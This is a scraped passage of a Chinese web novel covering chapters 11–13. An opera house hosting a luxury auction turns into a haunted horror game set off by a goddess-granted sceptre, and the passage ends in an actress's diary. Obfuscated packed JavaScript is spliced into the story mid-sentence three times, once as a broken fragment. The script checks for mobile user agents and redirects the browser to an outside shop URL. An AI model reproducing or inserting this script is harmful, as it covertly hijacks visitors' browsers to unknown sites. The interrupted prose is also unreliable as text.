什么时候蛇皮和他一样能沉下心来,或许也能赢过他了。 陈弦雨在朴世青那边发生混乱的时候,就已经观察到了,人群里,确实有浑水摸鱼的。 汇聚了全世界富豪名流的场合,哪个小偷不心动? 聪明的小偷,一定会提前混进装修、安保、保洁之类的队伍中,等拍卖会开始,见机行事,发一笔横财。 在朴世青被镜头围堵的时候,陈弦雨亲眼看到人群里一个小贼故意踩掉了别人的鞋子,然后飞快地把鞋带一系,挂上脖子,一路眼疾手快,掏了十七八个钱包揣进怀里,再借着混乱,美美地离开。 陈弦雨也要趁此离开了。 就在他收拾好东西,要把海螺壳丢回鱼缸的时候,一条湿湿凉凉的触手,无声无息地从螺壳里钻出来,亲昵地缠住了他的指尾。 一圈细细的金色,像是给他戴上了尾戒。 陈弦雨皱着眉,想把小东西扒下去,但失败了,小东西还从螺壳里爬出来,睁开了眼睛。 金色的眼睛直勾勾地望着他。 他又扒拉了两下,章鱼触手缠得更紧了。 头疼。 怎么回事?小章鱼不想回到水里吗? 陈弦雨忽然想起当年,王栖川也喜欢待在干燥的,明亮的,温暖的,逐之有光的地方。 甚至还闹着要和他一起睡觉,喜欢和他倚靠在一起。 简直是一脉相承的习性,所以陈弦雨还是百思不得其解。 那个死鬼,怎么会有个儿子? 但凡是章鱼种,到了成熟期,雄章鱼就会长出一条额外的交接腕,送进雌章鱼的体内繁衍后代,在这之后,雄章鱼为了保证繁衍的顺利,它会自断一腕离去,随后在绝食中迎来死亡。 所以这是一个悖论。 如果死鬼有老婆的话,也不至于被发.情期折磨。 如果死鬼生过儿子的话,就会很快绝食身亡。 死鬼既然“出关”之后还能活蹦乱跳跑遍半个华夏境,跑到无名乡请他出山,老实巴交地被他玩弄了一顿也不生气,一心想让人类赢游戏,浑身有使不完的力气,还能把他按住了扒他的衣服……怎么看都不是一副等待死亡的样子。 所以哪来的儿子? 难道……不是儿子,如海星断肢重生一样……这是死鬼断掉的交接腕? 陈弦雨被自己的想法震惊到了。 这个念头一生,他就像触电一样,从手指到虎口都泛起了一阵可怕的麻意,他惊恐又粗暴地甩掉了缠着他的触手,又冷酷地把小章鱼丢回鱼缸,盖子盖紧,盖得紧紧的! 然后他把鱼缸塞进一个垃圾袋,再掏出一包酒精棉,仔细地把双手擦了三遍。 总算压下了某个可怕的念头。 “葛老板,我们准备回去了。” 陈弦雨做回了一个优秀的员工,准备周到地帮老板避开拥挤。 拍卖会刚结束,名流富豪们正在寒暄逢迎,这是很好的社交场合,多留一分钟,就能多几千万的生意上下飞舞,但他们也不会滞留很久,因为云顶神殿先前就预告了,官方可能要宣布一件重大的事情,去晚了就没位置了。 已经有一些嘉宾陆续离场。 陈弦雨估算着人们离场的高峰期,再过五分钟,出口将会水泄不通。 于是他建议他亲爱的老板,趁现在空闲,先离场,如果想去云顶神殿的大广场继续社交的话,提前去还能占个好位置。 却抬头一看,老板……不见了! 他的,可爱的,葛朗台老板,正在,嘉宾刚离席的隔壁,撑着一个更大的垃圾袋,动作迅速地……把圆桌上的名烟名酒统统装进袋里。 还一边装袋一边给他使眼色,,“都是钱啊!快拿啊!这些有钱人铺张浪费,真是不知生活的艰辛,快装 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13361805|140826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 装装,等剧场保洁工来就轮不到我们了!” 陈弦雨:“………………” 不知为什么,老板这话,就跟电视剧台词似的,让他忽然有种不好的预感。 虽然他也是一个极度崇尚科学理智的人,但有时候,他身经百战的直觉,是不会骗他的。 “葛老板,该走了。”陈弦雨试图再次提醒,“我们接下来的行程……” 眼前忽地一暗。 准确地说,是在他话音未落的时候,剧场的灯光就整齐划一地熄灭了。 “啊?停电了?” “搞毛线啊,老子还在谈生意呢!” “剧院在搞什么?两次事故了,经理呢?经理出来说话!” “你们不要挤在出口啊!让我出去!让一让啊!” …… 在伸手不见五指的漆黑里,只有一束束手机光照,紧张又无措地闪烁着。 “小陈,你有没有觉得很冷?空调也坏了吗?怎么降温这么厉害?” 老板提着塑料袋,哆哆嗦嗦摸回来了。 大热天的大胖子,此刻像一只企鹅在发抖。 陈弦雨也感受到了。 他这些年,身体糟糕,服药无度,一直畏寒得不得了,但不是现在这种寒意。 这是一股阴冷渗入骨髓的寒意。 在失去了一切现代灯光的歌剧院里,这股寒意,迅速席卷蔓延着,好像要把所有人卷进窒息的恐惧里。 所幸,黑暗没有持续太久。 在贵宾们失去形象的狼狈谩骂里,歌剧院在一首悠扬飘渺的钢琴曲中,重新恢复了光明。 但不是李混元负责的那种灯光。 是烛火。 是幽幽暗暗忽明忽灭的烛火。 偌大的歌剧院,已经不是被二次装修成富丽堂皇的一看就是贪婪神审美的现代拍卖场了。 这是……陈弦雨抬眸一看,这是他当年路过而未入的、崩毁的歌剧院的真实内部。 顶部的镜面彩灯变回了巴洛克吊灯,以白蜡烛为灯芯,上面缠满了沉重的蛛网。 高悬的朴世青电影海报,已经变回了歌剧院里的油画和彩窗。 几扇彩窗破损着,有微弱的光线从外面照进来。 却照不亮猩红幕布底下的歌剧大舞台。 而他们二楼贵宾席,布置还在,只是高级的鹿皮椅子变成了发霉的布艺客座。 至于满桌的果盘酒水……它们现在是祭拜给死人的、早就腐烂了不知多少年的东西。 吃了半张桌子的秃头老板,正在大吐特吐。 陈弦雨无语地扶了扶额头,要不是老板贪心,他们本来早就离开这鬼地方了。 他就知道有问题。 也大概能猜到,问题可能出在…… “陈白衣,我就不信逼不了你出来。” 在沉重的幕布之后,李混元将一根树枝形状的东西,满意地收回了自己的袖子里。 如果有人仔细留意的话,应该不难发现,那根树枝和黄道女神神像手里的黄道权杖,似乎…… 一模一样。 11. (已重写)奇缘 那是诸神降临的第一年。 遍寻不得故人的李混元,沿着山岭长阶拾级而上,来到黄道女神的神庙。 黄道神,主司智慧,曾遍历大千宇宙所有已知未知,只要得到她的偏爱,就能共享她的知识,获得此间一切疑问的解答。 李混元当然想问陈白衣在哪里?死了没有?没死的话他又在何处? 但这个问题不能问。 摧毁了八万四千神像的陈白衣,险些让人类翻盘胜利的陈白衣,他在神的眼里,那是头号恐怖分子,杀之都不能后快。 如果陈白衣没死,从丧尸天船活了下来,那李混元更加不能暴露他的存活,一旦被神知道,落井下石消灭之,是一定会做的事。 李混元当然想赢他,但不想用这种办法赢他。 李混元跪在黄道女神神像面前,献上了他平生的珍藏。 他还记得阳光照在神庙石阶上的冷意。 在一丝纤尘都不见的寒冷光束里,闭目的神像睁开了眼睛。 李混元献上的供奉太过珍贵,基于这份虔诚,黄道女神亲自显灵。 女神的声音庄严又慈悲:“吾虔诚的孩子啊,汝渴望怎样的愿望?” 李混元恭恭敬敬地跪着,嘴上却说着狂妄之极的话:“我伟大的女神啊,我要这世上再无智慧胜我之人。” “……”神像有片刻的沉默。 过了一会,一堆画着玄奥图案的典册,出现在神像座下。 女神说:“吾虔诚的孩子啊,此间宇宙智慧之结晶都归结于此,汝可尽情挑选。” 李混元却摇了摇头,这不是他要的,他要的,是凭自己的实力,找到陈白衣,再赢过他。 李混元弯腰伏身,额头贴在石阶上,“我崇高的女神啊,此非我所想,亦非我所愿。” 说得十分虔诚,但言下之意,是智慧如女神你都猜不到我之所愿吗? “…………”神像的沉默,震耳欲聋。 这是黄道女神第一次遇到送嘴边的饭还不肯吃的人类。 人类献上的供奉前所未见,和那些烂大街的典籍不同,这个青年人献出来的,是绝代孤本、文明秘辛,是他平生挚爱的珍藏,没有大家族大财力大智慧,没有天生优越的品味,一个人类短短半生是收集不到这些东西的,她联接万千宇宙的知识宝库里,都尚未拥有这些东西。 神不是非得回报以等价的愿望,但大多数时候,为了彰显神威浩荡,神是不会吝啬的。 女神给出去的,也确实是等价的智慧结晶。 他却不要。 “既然如此,汝之所求,凡吾拥有,任选便是。” 说着,女神又拿出了更多的好东西,它们不仅仅是玄奥的典册,出现在神座上的,还有纯白的墨笔、漆黑的星图、窥探天机的水晶球、饱浸鲜血的羊皮纸……每一件,都是女神掠劫其他文明之后的战利品,每一件,都蕴含着无穷无尽的智慧。 “任选都可吗?”人类问。 “任选皆可。” 李混元大喜,立刻举起手臂:“我尊贵的女神啊,我要您手中的黄道权杖。” “………………”神像沉默得快要裂开了。 神像手中,不过是一根普通的树枝,寻常人见了,只当装饰,人类凭什么发现它是黄道权杖、是她权柄的一部分的? 女神不怒反喜,她对这个聪明的人类产生了更多的兴趣。 她的神像冷冷开口道:“神权不可轻授于人,给吾一个理由。” 李混元于是掏出了他早就准备好的理由: 一,提出与人类打赌玩游戏,在现实里展开游戏结界,用严谨公正的游戏规则来运行游戏,此等智慧,非黄道女神莫属,其他五神不可能拥有。 二,他研究过天船构造,在同样的物理定律之下,能把如此大船浮空一万米,此等智慧,也只有黄道女神的手笔。 三,将“把现实变成游戏“这份权柄分授于他,他就能代女神行走世间,用最高智慧的造物来筛选拥有同样智慧的对手,既能满足自己挑战并达成天下第一的愿望,又能为女神拔除所有类似陈白衣的隐患。 四,最重要的,他是人类,他可以做许多神碍于威望不方便做的事,比如……让其他五神的信徒,被迫放弃信仰,改投黄道麾下,彼消此长,岂不完美? 一二三四条理由,让黄道女神无法不赞叹,无法不动心。 人类说的没错,六神根本不是铁板一块,大章鱼还在的时候,他们还能联手杀敌,大章鱼一死,他们就各自为政了,在有限的信徒群体里,当然是谁能吸纳得更多,谁将来就更厉害。 黄道女神虽有智慧,却无战力,因她在征服人类这件事上立了大功,诸神目前才对她客客气气,但这种和平,不会太长,一旦破灭神吸纳足够的供奉,实力恢复,就不必再看她脸色了。 座前的人类,每一条分析的都对。 把她如今所虑,未来所谋,全部想到了。 至于忠诚……等他拿走权杖,烙上黄道的标记,就不必担心忠诚的问题。 再以及,他的愿望和她的欲望,并没有冲突之处,他们可以共赢。 甚至有一天,这个聪明能干的人类,将成为她座下最优秀的眷属。 于是,女神不装了。 女神将树枝丢到了李混元的面前。 女神说:“不过是一个玩具,你想要就拿去吧。” “这是我小时候,父神送给我的礼物。” “我和其他兄弟姐妹不同,普通的玩具满足不了我的求知欲,于是父神以混沌作树枝,以大千文明作剧本,赐予我能把现实改编成游戏的能力。” “你叫李混元对么?混沌树枝送混元,也算是一桩奇缘。” 李混元接过树枝,大喜若狂,“说不定我就是为了迎接您而诞生的孩子。” 他甚至因为太过感激,跪着爬行到了神像的脚下,捧起女神的脚背,献上了一个深深的亲吻。 女神满意于人类的卑微,于是告诫他:“我必须给你说明一点,生成游戏简单,解决游戏却不易,其内容来自混沌万千,你无从得知会有多么阴险诡谲的谜题等着你,父神没有把这件玩具送给其他孩子,正因如此,非大智慧者,很可能把自己都玩死。” “没关系。”李混元说,“等我死的那天,您即可收回权柄,我的灵魂与人格,我的毕生才华与学识,也都将归于您……我不会让您失望的。” 李混元离开神庙的那个黄昏,他的胸前多了一枚星形的烙纹。 这是黄道神对自家信徒的标记。 李混元一来就拿了个大的,他的白昼星标记,比任何一个信徒都要深刻。 扎根在灵魂深处的标记,又冰冷又狂热,它时刻提醒着他,他的人格与灵魂,已经很脏很脏了。 他不后悔。 这场由他揭幕的恐怖游戏,已经正式开始了。 在最初的慌乱后,滞留现场的人们,开始发疯一样寻找出口,他们都是社会精英,都是人类金字塔顶层的最体面的人,怎么能留在这种恐怖之地——但显然,原先拍卖会的出口,已经变成一堵厚墙,没有路了。 人们再次惊恐起来,甚至不知道发生了什么,为什么拍卖场忽然没了,是在做一个集体噩梦吗?还是他们得罪了哪个神,被降下了神罚? “我听说,这种事情不是第一次出现了。”有人想起来了,“在我老家那边,上个月,就有一个小镇变成了鬼镇,好像就是一夜之间的事,里面的人一个都没出来。” “啊?媒体怎么没报道?” “谁敢报道呀!不瞒你说,我就是做媒体的,我们社长下令了不许报道。”那人说,“据说是那座小镇修建神庙的时候不积极,还把神像弄坏了,得罪了神,神降下的神罚,把整座小镇都变成了恐怖游戏,我们哪敢报道呀,也被怪罪怎么办?” “可我们今天也没有得罪神啊,为什么要惩罚我们……” 说着,有人拿出随身携带的小型神像,原地膜拜起来。 陈弦雨看着自家老板吐完又开始哭,哭完又学着别人,也从包里拿出一个护身符一样的传颂神神像,开始念念有词地乞求,让传颂神开恩,放他从这里离开。 “我虽然贪图小利,但我也是生活所迫啊我的神啊,我没有办法啊,我只想让员工多吃一口饭啊……”老板一把鼻涕一把泪地嚎哭着。 “我不想员工们为了一口生计,转头就把人格卖给那些贪婪的神,我知道您不贪婪,您能理解我吧,我还要给他们创造就业机会啊,我不能死在这里,求求您送我出去……” 陈弦雨沉默地倚在二楼摇摇欲坠的栏杆处,像老板这样跪拜神像的人,已经越来越多,滞留场上的人,几乎有一半都在跪地乞求。 幽暗的烛火下,有隐约的雾影在他们身边飘来飘去。 歌剧院闹鬼的传闻,好像不是假的。 “救命啊,那些白色的都是什么啊……” “妈耶,好可怕,墙上的油画怎么还会动啊, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13361806|140826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊啊啊——” 在人们陷入闹鬼的恐惧之时,还真的有人许愿成功了。 只见一道光束亮起,有一座黄道女神的小型神像原地显灵,轻松地就把许愿之人送了出去。 “神迹!神迹显灵了!哦伟大的神啊!” 更多的人一边跪拜一边献上随身能拿出来的一切供奉。 包括前面拍卖刚到手的好东西,也忍着心疼端到了神像面前。 但是,石沉大海。 “让我离开恐怖之地”的愿望,看上去便宜,实际好像并不便宜。 除了黄道女神像之外,供奉其他五神神像的人们,需要花费十倍甚至百倍的代价,才能换取原地离开的机会。 于是,有些人为了节约成本,甚至当场抛弃了他们供奉许久的神祇,转头跪在了黄道女神像下。 黄道女神也不吝啬,只要少量的供奉,不管是啥都行,有求必应,一个个都把人送了出去。 至于那些头铁的人,他们一开始还不想放弃供奉了很久换来的虔诚,也不愿改信一个毫无战力的女神,但眼看着身边的倒霉蛋一个个改投黄道女神就能脱离现场,说不心动那是假的。 特别是,随着时间的流逝,越来越渗人的寒冷包围着他们,在寒冷之中,甚至还能看到森森幢幢的鬼影。 当第一个人被鬼影穿身而过,因此吓出惨烈尖叫的时候,再头铁的人都害怕了。 “女神啊!求求您!送我们出去吧!” “您要什么都可以!这该死的鬼地方,我不想再多呆一秒钟了!” “妈妈我好怕啊我想回家啊啊啊鬼要飘过来了啊啊啊啊……” 李混元暗暗看着这一切。 陈弦雨也远远看着这一切。 好个黄道女神,原来玩的是这一出,把人逼入绝境,再赚别人家的信徒,还真是一本万利的生意。 虽然这些临时墙头草,心里未必虔诚,但能清空他们先前对其他五神的信仰,那已经足够了,这是对其他五神的一记狠狠削弱。 而黄道女神竟敢光明正大地做这种事情,让手无缚鸡之力的自己因此成为另外五神的眼中钉……一个明哲保身的智慧之神绝对不会出此下策。 她敢这么做,恐怕还有更大的后手在后面。 好个黄道女神啊。 陈弦雨目前还猜不到黄道的后手是什么,但他已经猜到李混元“浑身睿智气息”的原因了。 蛇皮应该是已经充分取得了女神的信任,甚至还拿到了女神一部分权柄,帮女神做事,给女神当狗。 不用说,把拍卖场变成恐怖歌剧院的把戏,也是蛇皮搞出来的。 只是……何必呢,就为了赢下自己吗? 攥住栏杆的手指有微微的收紧,陈弦雨发现自己识人无数,却好像从未懂过李混元。 “小陈。”老板忽然喊他,“哎,是我连累了你,你也快去拜拜黄道女神像吧。” 说着,老板拿出两百块钱塞给他,“快走吧,晩了就危险了。” 陈弦雨无动于衷,“那你呢?” “我?”老板自嘲地笑了一下,“他们不是在说,这是恐怖游戏嘛?既然是游戏那肯定有通关的办法,你不用担心我,我年轻时可会玩游戏呢!说不定还能拿点奖励,回去给你们多装两台空调……” “你是想省钱吧。”陈弦雨打断了他,还把两百块还给了他,“这时候就不要吝啬了,反正你的传颂神也不像容易生气的样子,你现在去爬个墙,让女神发发善心送你出去。” “说实话,我确实想省钱。”老板叹了口气,“为了公司活下去,我房子都卖了,婚也离了,孩子也没跟我,哎,我见不得你们这些年轻人一时陷入歧途啊,我这把年纪已经无所谓了,未来是你们的,把殖民的家伙赶出去,将来全靠你们啊……” “…………”陈弦雨垂下了眼睑。 他们说的没错,剧院确实已经变成了一个恐怖游戏。 具体游戏目标、游戏规则、通关要求等等都尚且未知。 但当年亲自参加过两局游戏的他知道,这就是神的力量与手段。 消失的出口和重置的装修,以及无法让人离开的封闭式游戏结界都证明了,这是一场同样诡谲离奇、遍布生死危机的游戏。 唯一的公平规则,大概只剩“游戏必须有解”这一条。 老板又想省钱,又想拿奖励,他一个人,应付不来的。 “那我帮您一次吧。”他低声道,“为了您理想的未来。” 12. (已重写)日记本 陈弦雨穿过凌乱的观众席,径直向舞台幕后走去。 从歌剧院变成恐怖游戏到现在,一刻钟的时间,能跑路的人都已经跑路了。 目前还滞留在场的,约莫三四十人,都有各自的无奈或坚持。 陈弦雨路过一个丰饶神的虔诚信徒,因为太过忠诚,死活不肯爬墙。 又路过一个贪婪神的信徒,想爬墙但舍不得积累的虔诚被清空。 又路过一个蜜汁自信的中年男人,他大声嚷嚷着“黄道一个女流之辈有个屁用,还不如留下来见真章,恐怖游戏有什么难的?当年联合国要是能请老子去带人类玩游戏,咱们早就赢了,哪里还有陈白衣的事,一个废物,弱智游戏都能玩输。” 陈弦雨默默地路过他们,对于即将成为玩家同伴的观察确实重要,但眼下不是最重要的。 因为这不是竞技类游戏。 竞技生存类游戏,观察玩家,了解玩家,优先级在第一位,因为他们都是竞争的对手。 比如他当年最后一局游戏,天船上的末日生存,在有限的资源里,玩家不但要清理叛徒,还要争夺资源,最后为了活命不择手段,这种游戏通常开局就会通过“系统喇叭”直接公布游戏规则和玩法,它不需要剧情,不会藏着掖着让玩家自己找线索,它要的是玩家恶意竞争,两败俱伤。 崩坏的歌剧院则不是。 至少目前,没有竞技和生存相关的趋向。 这座闹鬼的歌剧院,它充满了谜题,等待着玩家的探索与解答,崩毁一刻钟了,也无任何喇叭或者主持人出来宣布游戏规则,这说明,大概率是一个恐怖解谜或者角色扮演游戏。 需要玩家自己一点一点发掘游戏剧情和通关办法。 这种游戏里,玩家要对抗的,通常不是玩家自己人,而是剧情本身。 所以事先掌控整个地图,想办法找到主线目标,仔细揣摩一下剧情设计上的恶意,比理会玩家同伴更重要。 不过陈弦雨素来一心多用,在穿过观众席这一路上,已经捕捉到了不少信息。 在场的人们说,现实变成恐怖游戏,已经不是第一次了,媒体上看不到报道,是因为消息都被封锁了,人们口中说的那个小镇,是在修建黄道女神神庙的时候被“降下神罚”。 那么,这件事不可能是李混元帮黄道做的。 如果只是因为修建不力就降下神罚,黄道这么小气的话,只会把信徒赶去别人家。 这说明什么?说明另外五个神也不是傻子。 说明另外五个神同样有把现实变成恐怖游戏的能力。 虽然最终呈现的效果或有高下之分……但,或许可以推论出,神,都有这个能力? 那么,身怀神骨的他自己,有这个能力吗? 陈弦雨在自己的推论里找到了一种前所未有的好奇,简直忍不住现在就试一试。 手掌缓缓按在衣领下的布料,隔着大衣与衬衫,在离心脏最近的地方,从未愈合的伤口在他的触碰下,扩散出一片清晰的疼痛。 他吸了口气,被理智拉回现实。 不行,现在不是验证的时候,他这趟出门带的药不多,虽然考虑到了意外情况多带了两瓶……恐怕也不够吃的,他得先撑过这场游戏,才能再做研究。 陈弦雨另外一层获得的消息,来自一个专拍灵异事件的网红主播。 网红主播主动留在了现场,他正在绘声绘色描述他的经历:“这剧院啊,我当年真的翻墙潜进去过,大白天都阴气森森的啊,据说是剧团女主演的亡魂一直徘徊在这里,看到英俊的男人路过,就要把人抓进去吸干阳气……” 有人质疑:“那你怎么没有被吸干?” 主播挠了挠头:“因为我是东方帅哥啊,我的英俊不符合西方人的审美,嗯,一定是这样,来来来,你看哦,这些壁画的位置都没变过,蛛网也没有打扫过,那边窗台上还有我翻墙进来的脚印,这是一模一样的歌剧院……” 所以,陈弦雨判断,即使是神,以他们现在的能力,也不能凭空捏造游戏。 哪怕内容来自大千世界,它起码得有一个基础的框架,这和喜见城是个缝合怪是一样的,凭空造物,对神来说,消耗太大,不划算。 所以,今后做局给神的时候,他挑一块空白大荒之地,把神骗进来杀,让神无法当场捏造游戏来困住他,这是最好的决策。 一边思考着未来的筹划,陈弦雨一边穿过沉重的幕布与空旷的舞台,从一个转角进入了剧院后台。 不知谁点亮了这里的小灯,他首先看到的,是一面墙上的剧团编制名单。 如果说大厅壁画上,画的是舞台上演出过的角色,那么这里的名单,就是演职员自己。 最前排,是女一号,男一号。 第二排,是女二号,男二号,女三号,男三号。 第三排之后,是剧团其他演员,以及经理、行政、道具师等等幕后工作人员。 泛黄的照片下,写着一个个墨迹氤氲的花体名字,一时看不清楚,陈弦雨就暂先记下了照片上的面孔。 他继续往里走,剧院的建设还算完善,通道两旁,分别是化妆间、服装间、设备间、物业间、行政室、会议室、财务室、贵宾招待室、琴房、练功房、培训室、厨房……以及最里端的,演员宿舍。 普通剧院有的,这里都有,剧院并不差钱,在年久失修之前,演职员工应该过着很不错的日子。 大概是为了防止火灾,后台的装修完全放弃了中世纪风格,统一都是近现代的结构,连一根蜡烛都没看见,取而代之的,是一盏盏小灯……它们都已经被点亮了。 有人比陈弦雨更早来幕后探索。 没关系,他不急,玩家之间目前不构成竞争关系,陈弦雨低头想了想,在心里给“主线相关场所”划定了大致的范围,然后抬脚就往行政室走去。 行政室已经被人翻过了。 陈弦雨在行政室的地上看到了一叠离职申请书,有好多张,他捡起来,发现申请人的照片都能和墙上名单里的一一对上,甚至还有女二号、男三号、道具师、灯光师、琴师……重要人员,竟然都离职了。 可惜,申请书下方,大片的花体字,同样被墨水晕开,他看不到这些人的离职原因。 不过陈弦雨已经有了个大概判断,不给玩家看,说明这些内容会剧透主线。 他只需搞明白,是剧院闹鬼在先,重要职员因此离职在后?还是重要职员离职在先,剧院生意一落千丈才逐渐闹鬼……弄清楚剧院过去发生了什么,或许就是答案。 在行政室暂时找不到更多线索后,陈弦雨转身往服装间走去。 却在出门的时候,撞上了从隔壁会议室里出来的一个人。 李混元:“…………” 狭窄的通道里,蛇眼瞪着白毛。 “你怎么在这里?”陈弦雨先声夺人,“你那朋友找到了吗?” “你怎么在这里?”李混元皮笑肉不笑,“两百块钱就能让女神带你离开这里,可怜的社畜,两百块都拿不出来吗?要不你求求我借你?等一会主线剧情开始,恐怕就不是这个价了。” “老板让我留下来帮他拿奖励,小公司,生活不易啊。”社畜说着天真又诚实的话,“既然是游戏,总有奖励吧,我老板说他很会玩游戏的,拿了奖励回去给我们装空调。” “哼,这游戏难度不小,除了我,或者我找的那位朋友,估计没人能通关,你们这些草履虫就别做梦了,自求多福能活到蹭我们通关那一天吧。” 李混元话是这么说,但他两条腿却忍不住跟着白毛去了服装间。 当时,小助理打电话给他说有人想骗浮光,而他匆匆赶去才发现小助理描述的人并非陈白衣,而是一个小贼,他在世界论坛上嘲讽过,还有点印象,他确定对方不是陈白衣。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13361807|140826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 所以才出此下策,把剧院变成恐怖游戏,逼着那狡猾的狐狸现身。 以陈白衣的傲气,他是绝不可能跪拜神像、让黄道女神送他出去的。 所以,如果他因浮光拍卖而来,那么,一定被他留在了歌剧院里。 李混元对自己的能力相当自信,再难的游戏他也不怕玩死自己,崩毁的歌剧院一出来,他就仗着位置优势,给自己划定了主线寻找范围。 先是行政室,再是财务室和会议室,连演员宿舍都被他翻过了,他也找到了有价值的东西……然后提前做好了布置。 钓鱼,陈白衣以为只有他会么? 现在就是怎么把他揪出来了。 陈弦雨后面吊着个蛇尾巴,也无所谓,谁先找到主线,是否共享信息,对来他说都无所谓,这类游戏对玩家散发的恶意,是从游戏机制本身出发的,至于主线剧情任务,通常不会藏得太深,不管谁找到,玩不下去,迟早会求到他面前。 陈弦雨在服装间里转了一圈,心底就有了判断。 从大厅的壁画装饰来看,这家歌剧院的招牌剧目是《罗密欧与朱丽叶》,画框里至少一半是相关的剧照。 而服装间里最多的,也是《罗密欧与朱丽叶》的戏服。 男女主的戏服更是占了一整面挂壁,每一件都准备了好几套,洗净熨平,一丝褶皱都不见。 陈弦雨路过的时候,还能闻到隔着多年岁月都经久不散的香水味。 这是一种很特别的香水味,所以他在路过常服区的时候,就从同样的香水味判断出了女主演存放在这里的常服是哪一排。 他不动声色地贴着一排悬挂的服装走过去,果然,他袖子底下的手背,在一件连衣裙的口袋外,碰到了一本硬硬的东西。 应该是日记本。 闹鬼的女一号的亡魂,和女一号的日记本,要素齐全,应该就是主线剧情任务。 但陈弦雨并无停留地路过了。 他又不是傻子……谁家好姑娘写日记不塞在枕头底下,还放到人多眼杂的服装间来啊! 陈弦雨有点好笑,甚至想劝蛇皮下次换个东西试探他。 在蛇皮的注视里,陈弦雨自己就是晃了一圈,“一无所获”,就离开了服装间。 他摆出一副放弃的样子,没有继续寻找,转身下了舞台,他在观众席一瞥一看,看到了一双闪亮的跑鞋……嗯,他认出来了,是先前那个浑水摸鱼踩鞋子偷钱包的小贼。 手脚很好,那么脑子应该也不至于生锈。 于是陈弦雨看似漫不经心地坐到了小贼旁边,一起听网红主播吹牛。 李混元失望极了。 果然不是他么? 陈白衣怎么会和一群草履虫混在一起听另一只草履虫高谈阔论? 就在李混元原地纠结,试图从草履虫群里寻找更可能是陈白衣伪装的家伙的时候,咻——的一声,一个穿着闪亮跑鞋的身影,从他身边一闪而过,蹿进了剧团后台。 虽然身形快得令人眼花,但李混元已经认出来了,是那个小贼! 想骗他浮光给他小助理下药失败的小贼! 不会吧,这家伙菜的很,还东施效颦,想学陈白衣炸神庙,被他嘲得跟个孙子一样,不可能是本尊啊! 就在李混元陷入自我怀疑时,小贼又从服装间里蹿了出来,手上高举着一本血染的日记本——“我找到了!” 小贼吗喽上树一样蹦上舞台,手里抓香蕉似的抓了个麦克风——“我找到主线了!你们快来听我读!” 只凭着人群里的一阵异香,就想到了服装间,就找到了同样的香味,就找到了日记本…… 江屑觉得自己当小贼实在太委屈了,他简直是绝世天才! 哎,要是陈白衣还活着就好了,江屑心里哀叹,自己这么聪明,绝对能当陈白衣身边的头号小弟,把晏升那个废物比下去,可惜……可惜啊! 13. (已重写)徘徊的朱丽叶 [DAY_1] 我们的剧团终于成立了,看着它,就像看着我们的孩子一样。 [DAY_2] 今天的门票又卖完了,观众们好热情啊。 [DAY_3] 今天一共演出了4场,很累,但是很开心。 [DAY_4] 一些观众希望能拥有更豪华的座位,于是我们商量,等有钱了,就去城里的歌剧院表演吧。 [DAY_5] 今天签下了两个不错的新人,看着他们努力的样子,好像看到了年轻时的自己。 …… [DAY_65] 我们终于来到城里的歌剧院,市长先生都来看我们的演出,第一次登上这么高的舞台,好紧张。 [DAY_72] 剧院经理给我们发来了常驻合约,老实说,我第一次看到那么多钱。 …… [DAY_190] 半年的辛苦演出,《罗密欧与朱丽叶》成了我们最受欢迎的剧目,观众都很喜欢我的表演,他们说,你会越来越红的,朱丽叶,你是天选的女主角。 [DAY_192] 他们的笑容感染了我,我一遍遍练习着每一个表情与动作的细节,我一句句揣摩着唱词里的喜怒哀乐,我想把最好的朱丽叶留在观众的记忆里。 …… [DAY_610] 我们终于攒够了钱,买下了整座剧院。 团里的孩子们高兴坏了,他们拥抱着我,激动地旋转、跳舞,他们还请来画师,给我画了好多好多肖像画,挂满了剧院的每一面墙壁。 [DAY_615] 我们的海报贴满了大街小巷,连国王都知道了我的名字,点名要看我饰演的朱丽叶。 好开心,我的演技终于得到了认可。 [DAY_706] 观众越来越多,座位不够用了,我们决定重新装修一下歌剧院,在二楼扩建贵宾席。 [DAY_739] 贵宾席完工的第一天,我们就迎来了一位尊贵的客人。 他十分了解歌剧历史,也很热衷于歌剧创新,在演出结束后,他与我们进行了滔滔不绝的长谈。 很累,但是也很开心,能有这样的贵宾,是我们的荣幸。 [DAY_740] 贵宾入股了剧团,给我们投了一笔巨大的资金。 太好了,我们决定把舞台设施都进行翻新改造,让现代技术与巴洛克艺术进行完美融合,再聘请更专业的灯光师、道具师和艺术指导。 一想到最终呈现的舞台效果会有多么惊艳,我激动得几乎睡不着觉。 [DAY_741] 我想把努力的孩子们都签下来,给他们一个衣食无忧的后半生。 每个人都值得好好培养,去饰演属于他们自己的主角。 在我们的大舞台上,尽情地发光吧,我亲爱的孩子们。 [DAY_742] 